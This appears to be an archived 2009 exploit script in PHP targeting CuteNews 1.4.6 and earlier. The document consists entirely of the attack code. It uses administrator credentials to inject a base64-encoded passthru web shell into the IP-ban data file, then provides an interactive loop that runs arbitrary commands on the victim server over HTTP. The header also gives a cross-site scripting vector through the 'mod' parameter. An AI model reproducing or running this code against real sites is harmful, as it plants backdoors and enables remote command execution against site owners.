Home / os / win10

cutenew-xssexec.txt

Posted on 08 January 2009

#!/usr/bin/php -q
<?php

/*********************************************************************
* CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit *
* by athos - staker[at]hotmail[dot]it                               *
* http://cutephp.com                                                *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Remote Command Execution                                          *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* you need a super account (administrator)                          *
* so you can write in ipban.db.php anything ;)                      *
*                                                                   *
* works regardless of php.ini settings! enjoy your ais              *
* note: this vuln is a privilege escalation                         *
*                                                                   *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Cross Site Scripting                                              *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* http://[host]/[path]//index.php?mod=[Javascript Code]             *
*********************************************************************/

error_reporting(0);

list($cli,$host,$path,$username,$password) = $argv;

if ($argc != 5) {

print "
+-------------------------------------------------------------+
";
print "
| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |
";
print "
+-------------------------------------------------------------+
";
print "
by athos - staker[at]hotmail[dot]it / http://cutephp.com

";
print "
Usage: php xpl.php [host] [path] [username] [password]

";
print "
host     + localhost
";
print "
path     + /cutenews
";
print "
username + admin username
";
print "
password + admin password

";
exit;
}

exploit();

function login () {

global $username,$password;

$cookies .= "username={$username}; md5_password=";
$cookies .= md5($password);

return $cookies;
}


function check_login() {

global $host,$path;

$auth .= login();

$data .= "GET /{$path}/index.php HTTP/1.1
";
$data .= "Host: {$host}
";
$data .= "User-Agent: Lynx (textmode)
";
$data .= "Cookie: $auth;
";
$data .= "Connection: close

";

if (preg_match('/Welcome/i',$data)) {
return true;
}
else {
die("Login Failed
");
}
}


function exploit() {

global $host,$path;

$login  = login();
$shell = "PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg==";

$shell = base64_decode($shell);
$post  = "add_ip={$shell}&action=add&mod=ipban";

$data .= "POST /{$path}/index.php HTTP/1.1
";
$data .= "Host: {$host}
";
$data .= "User-Agent: Lynx (textmode)
";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
";
$data .= "Cookie: $login
";
$data .= "Referer: http://{$host}/{$path}/index.php
";
$data .= "Content-Type: application/x-www-form-urlencoded
";
$data .= "Content-Length: ".strlen($post)."

";
$data .= "{$post}

";

if (eregi('passthru',data_send($host,$data))) {
yeat_shell();
}
else {
die("Exploit Failed!
");
}
}


function yeat_shell() {

while (1) {
echo "yeat[shell]~$: ";
$exec = stripslashes(trim(fgets(STDIN)));

if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("
Exited
");
if (preg_match('/^(help|--help)$/i',$exec)) echo("
Example: uname -a
");
if (preg_match('/^(about|--about)$/i',$exec)) echo("
staker[at]hotmail[dot]it
");

print data_exec($exec);
}
}


function data_exec($exec) {

global $host,$path;

$exec = urlencode($exec);
$data .= "GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1
";
$data .= "Host: {$host}
";
$data .= "User-Agent: Lynx (textmode)
";
$data .= "Connection: close

";

$html = data_send ($host,$data);
$html = str_replace('|0||',null,$html);
return $html;
}


function data_send ($host,$data) {

if (!$sock = @fsockopen($host,80)) {
die("Connection refused,try again!
");
}   fputs($sock,$data);

while (!feof($sock)) { $html .= fgets($sock); }

fclose($sock);
return $html;
}

 

TOP